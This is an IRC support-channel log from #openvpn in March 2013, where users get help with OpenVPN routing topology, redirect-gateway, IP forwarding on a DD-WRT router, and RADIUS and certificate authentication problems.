11:43 < pekster> Yup, that's the right way to do it
11:43 < jzaw> now i dont load the home internet connection unnecessarily
11:44 < teknoprep> pekster: jzaw: why would openvpn be setting my push "route 10.254.1.0 255.255.255.0" on my client box to do this... route 10.254.1.0/24 to 10.0.8.6 instead of 10.0.8.5 ?
11:45 < teknoprep> or is 10.0.8.6 used for routing on the OpenVPN client for the remote LAN
11:45 < teknoprep> pekster: with your comment on its a virtual peering IP /net30... i shouldnt' use that
11:46 < teknoprep> pekster: i am at a loss with how routing is supposed to work then
11:46 < jzaw> you should get a lower ip at the server on the tunnel
11:46 < jzaw> and higher number at the client tunnel end
11:46 < teknoprep> i am getting a virtual address of 10.0.8.5 on both ends
11:47 < jzaw> pekster, ^^^  ?
11:47 < pekster> jzaw: Nope, other way around. The bot outbound said so just a page earlier
11:47 < pekster> teknoprep: Just use --topology subnet. You've been given that information at least twice now
11:48 < pekster> net30 is a stupid hack for old Windows systems so they could have cool things that Unix could do anyway
11:48 < teknoprep> ok... so now i need to start over
11:48 < teknoprep> and not use net 30
11:48 < pekster> Just add topology subnet
11:48 < pekster> That's it. No starting over
11:48 < pekster> Better yet,
11:49 < pekster> !configs
11:49 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:49 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has quit [Ping timeout: 255 seconds]
11:49 < pekster> I mean, you can leave net30 if you want, but since you're apparently confused about how it works, now's as good a time as any to fix it
11:50 < teknoprep> not really confused on how it work
11:50 < teknoprep> it makes sense
11:50 < teknoprep> server gets 10.0.8.5
11:50 < pekster> No!
11:50 < teknoprep> client gets 10.0.8.6
11:50 < pekster> :(
11:50 < pekster> Nope
11:50 < teknoprep> ?
11:50 < teknoprep> then how the hell do i get different IP's on the server than the client ?
11:50 < teknoprep> so i can have routing between them
11:50 -!- gladiatr [~usualfrog@openvpn/community/support/gladiatr] has left #openvpn ["Leaving"]
11:50 < pekster> It's creates a virtual /30
11:51 < teknoprep> i was assuming that this /30 was similar to an INET /30 where then you can route larger blocks of IP's to an ip inside of that /30
11:51 < pekster> The server assigns itself the first block, at 10.0.8.0/30. The server then assigns the client 10.0.8.4/30, out of which it creates a "subnet" where it peers between .6/32 and .5/32
11:52 < pekster> The "server" is not at .5. It's still at .1.
11:52 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has joined #openvpn
11:52 < pekster> .5 is a virtual address, not used by anything except as a PtP target
11:52 < teknoprep> ahhh
11:52 < pekster> And that, is why net30 is stupid
11:52 < pekster> It's completely unnecessary, even if you need to support Windows clients. And that was the only reason to ever use it before anyway
11:52 < teknoprep> i should be able to ping 10.0.8.1 correct ?
11:52 < pekster> Right
11:52 < teknoprep> why would its ping time be less than 1ms ?
11:53 < teknoprep> when its 100 miles away
11:53 < teknoprep> seems like the local client is answering for this
11:53 < pekster> Post some configs
11:53 < teknoprep> ahh nvm
11:53 < teknoprep> its not answering
11:53 < teknoprep> i undertsand what its doing now.. so i can debug from here
11:57 < teknoprep> so the Client should get the 10.0.8.6 ip address correct ?
11:58 < teknoprep> i should be able to ping that from the client side LAN
11:58 < teknoprep> if everything is configured properly... or is that also wrong
12:00 < pekster> Firewall and routes permitting
12:01 < teknoprep> ahh nice
12:01 < teknoprep> so i think i got it then
12:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:08 < Keshl> So, I was in here a few days ago asking for help setting up VPN. It works now, I can get into my network away from home and interact with its systems as if I was home. However, I cannot access the Internet through the VPN connection. After Googling around I think I have a general idea of what needs to be done, but it's so over my head that I can't even summarize it here. Are there any guides out there that don't assume any knowledge of
12:08 < Keshl> iptables and stuff that can walk me through this?
12:09 < pekster> !redirect
12:09 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:09 <@vpnHelper> http://ircpimps.org/redirect.png
12:09 < Keshl> Woo OωO!
12:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
12:10 < Keshl> !def1
12:10 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
12:10 < Keshl> >w> Wish I could query this rather than spamming the channel.
12:11 < pekster> You can, but TBH it's more convenient to do it here as the /msg commands are longer and require the channel name
12:11 < Keshl> Ohhh oωo
12:11 < pekster> It's a slow day, and it's not spam since it's on-topic ;)
12:11 < Keshl> Still. all of /that/ was over my head, too. <.<
12:11 < Keshl> So how does I make it do magical quety stuff, oωo?
12:12 < Keshl> *query
12:12 < pekster> 'factoids whatis #openvpn thing' in a privmsg. See also 'help' and 'factoids help'
12:13 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has quit [Ping timeout: 256 seconds]
12:13 < Keshl> oωo.
12:13 < Keshl> ...Nope. x.x
12:14  * Keshl types "man openvpn".. Then proceeds to curl up and slowly die.
12:16 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
12:16 < Keshl> Okay, let's see what happens if I just guess randomly and see if I get lucky. Maybe it'll work. <.<
12:16 < Keshl> !ipforward
12:16 < Keshl> !nat
12:16 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
12:16 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
12:17 -!- Cubox [cubox@unaffiliated/cubox] has left #openvpn ["WeeChat 0.4.0"]
12:17 < Keshl> !linipforward
12:17 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
12:17 < pekster> Guess randomly? You have a complete flowchart and all sorts of helper output. Ask if you get stuck, but it's wise to check the bot's messages carefully and read the manpage for the directives it's telling you about first
12:18 < Keshl> pekster: I know what I meant to say but I don't think I said it right. <.< I'll be fine. Probably. The manual page is big and scary and I spaz sometimes. o_o
12:18 < pekster> The find feature helps
12:19 < Keshl> Indeedily so. Still. Tiiiiiny little scrollbar .ω.
12:19 < Keshl> And then there's the fact that, even though the router's running Linux, I have to use a GUI to change most stuff or it won't commit it to NVRAM <.<
12:20 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has joined #openvpn
12:20 < pekster> OpenWRT? You can edit the /config/ directory without a GUI; I build my own firmware without one
12:20 < Keshl> DD-WRT, not OpenWRT.
12:20 < Keshl> Similar name, different things.
12:20 < pekster> They're still using nvram? :(
12:20 < Keshl> Si, oωo.
12:20 < Keshl> From what I can tell developement's stalled, too. <ω<
12:20 < Keshl> Last release was in 2-11.
12:20 < Keshl> *2011
12:20 -!- penk [~dave@216.142.113.233] has quit [Quit: Leaving...]
12:22 < Keshl> ....Okay from what I can gather, ip frowarding isn't enabled, but I can't do any of that since it'll loose it whenever it looses power.. Now I have to try to figure out what the GUI calls it. <.<
12:25 < Keshl> ... Or I can read my config and see that I don't have redirect-gateway enabled. <.< Do I basically just stick "redirect-gateway def1" in it somewhere? Or am I headed in the wrong direction?
12:26 < pekster> That would be the 2nd box on the flowchart
12:27 < Keshl> Yes, oωo. But do I have the name of the command right?
12:27 < Keshl> Er, the entire line, I mean.
12:27 < Keshl> When I see "def1" I feel like I need to define it somewhere, and I know I haven't. But now I kinda feel like maybe like.. Blah mindfart x.x
12:28 < pekster> It's an optional paramater to --redirect-gateway. The manpage has full details
12:29 < Keshl> But why do people keep putting -- before them? In the config they don't have them. xwx
12:29 < pekster> !--
12:29 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
12:30 < Keshl> Ohhhhh.. Kaithanks -ω-
12:30 < pekster> Also, your random characters after comments don't provide useful info and are not fun to parse
12:31 < pekster> protip: searching in the  manpage for --option is more likely to quickly get you to the directive you're interested in
12:32 < Keshl> And it has.
12:32 < Keshl> Okay.. I have no idea where this would be in the GUI, so I'm gunna hope this just works. <ω< Gotta wait till later to try it from an external network though.. Thanks for the help.
12:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:46 -!- mode/#openvpn [+o krzee] by ChanServ
12:51 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:22 -!- mirco [~mirco@ip-95-222-244-247.unitymediagroup.de] has joined #openvpn
13:25 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has quit [Quit: Konversation terminated!]
13:28 -!- brute11k [~brute@89.249.230.134] has quit [Ping timeout: 260 seconds]
13:29 -!- brute11k [~brute@89.249.230.134] has joined #openvpn
13:33 -!- mirco [~mirco@ip-95-222-244-247.unitymediagroup.de] has quit [Quit: mirco]
13:45 -!- jasonsmr [~Administr@c-68-61-42-207.hsd1.mi.comcast.net] has joined #openvpn
13:45 < jasonsmr> hello openvpn chennel
13:46 < jasonsmr> Quesion I am working with a server client configuration and for some reason my client is not auto configuring the tun adapter?
13:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
13:53 -!- penk [~dave@216.142.113.81] has joined #openvpn
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:55 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
14:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
14:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:05 -!- penk [~dave@216.142.113.81] has quit [Quit: Leaving...]
14:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 257 seconds]
14:14 < jzaw> jasonsmr, what system ... os ... is some other script taking over ? etc etc
14:15 < jzaw> paste your server and client confs
14:24 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has quit [Quit: Hurr Durr!]
14:27 < jasonsmr> its CentOS 6.3
14:27 < jasonsmr> just a sec ill pastebin
14:29 -!- tyteen4a03 [tyteen4a03@ec2-54-225-157-7.compute-1.amazonaws.com] has joined #openvpn
14:31 -!- MeanderingCode_ [~Meanderin@71-213-190-2.albq.qwest.net] has quit [Ping timeout: 252 seconds]
14:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:37 < jasonsmr> heres the client side configuration >> http://sprunge.us/EGLH
14:37 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:37 < jasonsmr> and heres the server side configuration >> http://sprunge.us/bWNO
14:39 < jasonsmr> the thing is I am trying this in a EC2 VM so I have a public accessable address that I can point a client to for accessing the server, but from the servers point of view thats a non existant or inaccessable address (the server can not ping itself)
14:44 < pekster> jasonsmr: Your server specifies --client-cert-not-required yet your client config attempts to use certs instead of --auth-user-pass
14:45 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit []
14:45 < jasonsmr> I definatly want it to use certs if possable, but  was also using radius server, are both used required?
14:46 < jasonsmr> I got lost
14:46 < pekster> See --client-cert-not-required in the manpage. You're telling it that clients do not need to providei them
14:46 < jasonsmr> allright ill remove this from the server.conf
14:47 < pekster> Clients still need --auth-user-pass to even pass in the un/pw. Further, the 'reneg-sec 0' setting in your server is also worthless since the client will renegotiate after 3600 seconds anyway as the client-side default
14:47 < pekster> (and you're sacrificing perfefct forward secrecy by doing that anyway, for not any tangible benefit either)
14:48 < jasonsmr> thanks for helping me clean it up
14:58 -!- Rough_ [Ah2k@114.31.8.194] has joined #openvpn
15:04 -!- MeanderingCode [~Meanderin@71-213-190-2.albq.qwest.net] has joined #openvpn
15:12 -!- teknoprep [~quassel@unaffiliated/teknoprep] has quit [Read error: Connection reset by peer]
15:18 -!- VisionNL [~anonymous@tuig.nikhef.nl] has joined #openvpn
15:20 < VisionNL> question: why is OpenVPN so strict with the certificate flags for TLS Client and TLS Server
15:21 < VisionNL> I noticed that setting both the TLS Client and TLS Server on my client or server certificates resulted in a TLS handshake failure. Which sounds a bit pedantic. Is there a motivation for it?
15:25 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
15:51 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has quit [Quit: Coyote finally caught me]
15:51 -!- zhvtar [~zhvtar@198.23.139.102] has joined #openvpn
15:51 -!- zhvtar [~zhvtar@198.23.139.102] has quit [Changing host]
15:51 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
16:04 < jasonsmr> hello again I am still having problems with authorization on my vpn server it says that it fails at tls auth
16:04 < jasonsmr> heres a pastebin of my log >> http://sprunge.us/KNfQ
16:06 < jasonsmr> and in turn here is my server.conf file for openvpn >> 8
16:06 < jasonsmr> http://sprunge.us/dSTQ
16:06 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:07 < jasonsmr> and my client config >> http://sprunge.us/TLjF
16:12 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
16:17 -!- master_of_master [~master_of@p4FF247F7.dip.t-dialin.net] has joined #openvpn
16:20 -!- master_o1_master [~master_of@p4FF244B8.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
16:28 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:38 < jpalmer> jasonsmr: check the time on both servers.  make sure it's right (use ntpdate)
16:39 < jpalmer> jasonsmr: nevermind,  I was looking at a different paste.   the time thing is unrelated
16:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
16:43 -!- mode/#openvpn [+o krzee] by ChanServ
16:44 -!- JSharpe [~JSharpe@46.165.210.17] has quit [Ping timeout: 260 seconds]
16:45 -!- MeanderingCode_ [~Meanderin@71-213-190-2.albq.qwest.net] has joined #openvpn
16:46 -!- brute11k [~brute@89.249.230.134] has quit [Ping timeout: 260 seconds]
16:46 -!- MeanderingCode [~Meanderin@71-213-190-2.albq.qwest.net] has quit [Ping timeout: 276 seconds]
16:47 -!- brute11k [~brute@89.249.230.134] has joined #openvpn
16:53 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has joined #openvpn
16:55 -!- JSharpe [~JSharpe@46.165.210.17] has joined #openvpn
16:56 -!- p3rror [~mezgani@196.201.78.139] has joined #openvpn
16:58 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
17:06 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:11 < civillian> jasonsmr: looks like radius auth failed: PLUGIN_CALL: POST /etc/openvpn/radiusplugin.so/PLUGIN_AUTH_USER_PASS_VERIFY status=1
17:11 < civillian> status should be 0 for pass I believe
17:14 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds]
17:15 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 272 seconds]
17:16 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:18 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
17:18 -!- mattock_afk is now known as mattock
17:18 -!- mattock [~mattock@raidz.im] has quit [Changing host]
17:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
17:18 -!- mode/#openvpn [+o mattock] by ChanServ
17:19 < jasonsmr> I tried creating a user fothanks
17:19 < jasonsmr> thanks Ill look at it
17:21 -!- maetrik [maetrik@185.14.184.81] has joined #openvpn
17:26 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has quit [Quit: Leaving...]
17:29 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 260 seconds]
17:29 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
17:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds]
17:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
17:30 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
17:32 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
17:32 -!- jarray52 [~bigbear@unaffiliated/jarray52] has joined #openvpn
17:33 -!- jtrucks is now known as troll
17:33 -!- troll is now known as jtrucks
17:36 -!- mattock_afk [~mattock@raidz.im] has quit [Ping timeout: 245 seconds]
17:38 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds]
17:41 -!- novaflash is now known as novaflash_away
17:42 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
17:42 -!- raidz_away [~raidz@46.28.203.186] has joined #openvpn
17:42 -!- raidz_away is now known as raidz
17:42 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
17:42 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
17:43 -!- mode/#openvpn [+o raidz] by ChanServ
17:43 -!- mattock_afk is now known as mattock
17:43 -!- mattock [~mattock@raidz.im] has quit [Changing host]
17:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
17:43 -!- mode/#openvpn [+o mattock] by ChanServ
17:44 -!- Orbi [~opera@anon-186-55.vpn.ipredator.se] has left #openvpn []
17:47 -!- JSharpe_ [~JSharpe@5.69.13.182] has joined #openvpn
17:49 -!- JSharpe [~JSharpe@46.165.210.17] has quit [Ping timeout: 256 seconds]
17:49 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has joined #openvpn
17:51 -!- novaflash_away is now known as novaflash
17:53 < jasonsmr> Okey this is strange in an effort to just test to see if everything else is allright I used a authorization method secrets = file instead of cerver crt and client crt files
17:55 < jasonsmr> well after this change in the server and client config files I found that my client machine would freeze up and needed to be restarted, note that this is a EC2 instance and it could just be that the networking is gone... ether way its not allowing pubilc access to my public net and vpn ??
17:56 -!- p3rror [~mezgani@196.201.78.139] has quit [Quit: Leaving]
18:01 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
18:02 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:07 -!- nsx [~ns@87-57-145-221-dynamic.dk.customer.tdc.net] has joined #openvpn
--- Log closed Sun Mar 24 18:10:21 2013
--- Log opened Sun Mar 24 18:15:43 2013
18:15 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
18:15 -!- Irssi: #openvpn: Total of 178 nicks [6 ops, 0 halfops, 1 voices, 171 normal]
18:15 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-vqvgtzvvbbbougmj] has quit [Ping timeout: 245 seconds]
18:15 -!- VisionNL_ [~anonymous@tuig.nikhef.nl] has joined #openvpn
18:16 -!- Irssi: Join to #openvpn was synced in 40 secs
18:16 -!- rheddry [~levifig@spwn.co] has joined #openvpn
18:16 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
18:16 -!- Pei_ [~pei@thinks.outside.theb0x.org] has joined #openvpn
18:16 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
18:17 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
18:17 -!- _matt [~matt@mlpc.wiltshire.ac.uk] has joined #openvpn
18:17 -!- soapee01_ [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
18:18 -!- JSharpe__ [~JSharpe@5.69.13.182] has joined #openvpn
18:18 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 258 seconds]
18:18 -!- _matt is now known as Guest42485
18:18 -!- nonotza_ [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
18:18 -!- havoc_ [~havoc@208.87.120.111] has joined #openvpn
18:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
18:20 -!- Netsplit *.net <-> *.split quits: kloeri, Wintereise, JStoker, zu_, GabrieleV, folivora, pulz, matt_, @ecrist, VisionNL,  (+1 more, use /NETSPLIT to show all of them)
18:20 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
18:20 -!- jasonsmr [~Administr@c-68-61-42-207.hsd1.mi.comcast.net] has joined #openvpn
18:21 -!- kloeri_ is now known as kloeri
18:21 -!- JSharpe_ [~JSharpe@5.69.13.182] has quit [Ping timeout: 264 seconds]
18:22 -!- krphop_ [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
18:22 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
18:22 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has joined #openvpn
18:23 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 245 seconds]
18:23 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 248 seconds]
18:23 -!- sitaktif [~sitaktif@kollok.org] has quit [Ping timeout: 248 seconds]
18:23 -!- kmmndr [~tomtom@bro67-2-82-227-110-8.fbx.proxad.net] has quit [Ping timeout: 248 seconds]
18:23 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 248 seconds]
18:23 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 248 seconds]
18:23 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Ping timeout: 248 seconds]
18:23 -!- nonotza_ is now known as nonotza
18:24 -!- Netsplit *.net <-> *.split quits: Scrumps, Ancient
18:24 -!- Netsplit *.net <-> *.split quits: Valcorb
18:24 -!- sitaktif1 [~sitaktif@kollok.org] has joined #openvpn
18:25 -!- Scrumps [~asdfgjkl@cpe-173-095-129-006.nc.res.rr.com] has joined #openvpn
18:28 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
18:28 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
18:29 -!- Ancient [~ancient@us.whatbox.ca] has joined #openvpn
18:29 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
18:29 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
18:30 < jasonsmr> So any help I have openvpn connecting now using the secrets option in the server / client conf files acordingly but theres a problem that it severs my public network connection at the same time it connects the VPN
18:31 < jasonsmr> any help with keeping the public connection active is greatly appreaceated
18:33 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit []
18:33 < nikitosiusis> jasonsmr, do you use redirect-gateway ?
18:34 -!- You're now known as ecrist
18:35 -!- mode/#openvpn [+o ecrist] by ChanServ
18:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
18:35 -!- mode/#openvpn [+o krzee] by ChanServ
18:35 -!- JStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
18:36 -!- Ancient [~ancient@us.whatbox.ca] has quit [Ping timeout: 256 seconds]
18:36 -!- Ancient|2 [~ancient@us.whatbox.ca] has joined #openvpn
18:44 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
18:45 -!- NotKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
18:46 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
18:46 -!- Denial- is now known as Denial
18:46 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Quit: nonotza]
18:47 -!- abec0_ [olivier@vvma.net] has joined #openvpn
18:47 -!- eres_ [~rs@onyon.net] has joined #openvpn
18:47 -!- Netsplit *.net <-> *.split quits: Olipro, piele, [fred]
18:48 -!- Netsplit over, joins: piele, Olipro, [fred]
18:48 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
18:50 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 256 seconds]
18:52 -!- Netsplit *.net <-> *.split quits: zarrsh, VunKruz, sitaktif1, +[oc80z], jarray521, cronix, fatpony, eres, ceda, abec0,  (+1 more, use /NETSPLIT to show all of them)
18:52 -!- ngharo [~ngharo@hacked.thegov.us] has quit [Ping timeout: 264 seconds]
18:52 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
18:53 -!- jasonsmr [~Administr@c-68-61-42-207.hsd1.mi.comcast.net] has quit [Ping timeout: 256 seconds]
18:53 -!- ngharo [~ngharo@hacked.thegov.us] has joined #openvpn
18:54 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:54 -!- pcdummy_ [~quassel@mx1.page4me.ch] has joined #openvpn
18:55 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Ping timeout: 264 seconds]
18:55 -!- jasonsmr [~Administr@c-68-61-42-207.hsd1.mi.comcast.net] has joined #openvpn
18:56 < jasonsmr> hello again
18:56 < jasonsmr> what do you mean redirect-gateway ?
18:57 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
18:57 -!- jarray52 [~bigbear@unaffiliated/jarray52] has joined #openvpn
18:57 -!- jpalmer_ [~jpalmer@irc.PalmerIT.net] has joined #openvpn
18:57 -!- Netsplit *.net <-> *.split quits: cyberspace-, tabakhase, havoc_, jave
18:57 -!- jarray52 [~bigbear@unaffiliated/jarray52] has left #openvpn []
18:58 -!- Netsplit *.net <-> *.split quits: mcp, penk, mete, n2deep, joshie, MorgyN, roue_
18:58 -!- njbair_ [~njbair@user-12l369d.cable.mindspring.com] has joined #openvpn
18:58 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn
18:58 -!- mode/#openvpn [+o krzie] by ChanServ
18:58 < jasonsmr> oh yes on the client config I have redirect-gateway def1
18:58 -!- nastjuid_ [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
18:58 -!- parmegv_ [U2FsdGVkX1@ma.sdf.org] has joined #openvpn
18:58 < jasonsmr> can I safely take this out?
18:59 <@krzie> if you don't want it...
18:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
18:59 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
18:59 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has quit [Ping timeout: 264 seconds]
19:00 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
19:00 < jasonsmr> right I guess not, if its attempting to redirect the default gatway, which apparently that is it s function ;)
19:01 -!- Netsplit over, joins: mete
19:01 -!- krzie is now known as krzee
19:01 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Ping timeout: 256 seconds]
19:01 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 264 seconds]
19:02 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
19:02 -!- jpalmer [~jpalmer@unaffiliated/jpalmer] has quit [Excess Flood]
19:02 -!- parmegv [U2FsdGVkX1@ma.sdf.org] has quit [Write error: Broken pipe]
19:02 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Write error: Broken pipe]
19:02 -!- njbair [~njbair@user-12l369d.cable.mindspring.com] has quit [Write error: Broken pipe]
19:02 -!- havoc [~havoc@208.87.120.111] has joined #openvpn
19:02 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
19:02 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
19:02 -!- tabakhase [t4b4kh453@unaffiliated/tabakhase] has joined #openvpn
19:02 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Excess Flood]
19:02 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has quit [Excess Flood]
19:02 <@krzee> pekster, your tip about adding an extra return 0 to my functions is continuing to help me.  thanks again :)
19:02 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
19:03 -!- cyberspace- [20253@ninthfloor.org] has quit [Max SendQ exceeded]
19:03 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
19:03 -!- simcop2387_ is now known as simcop2387
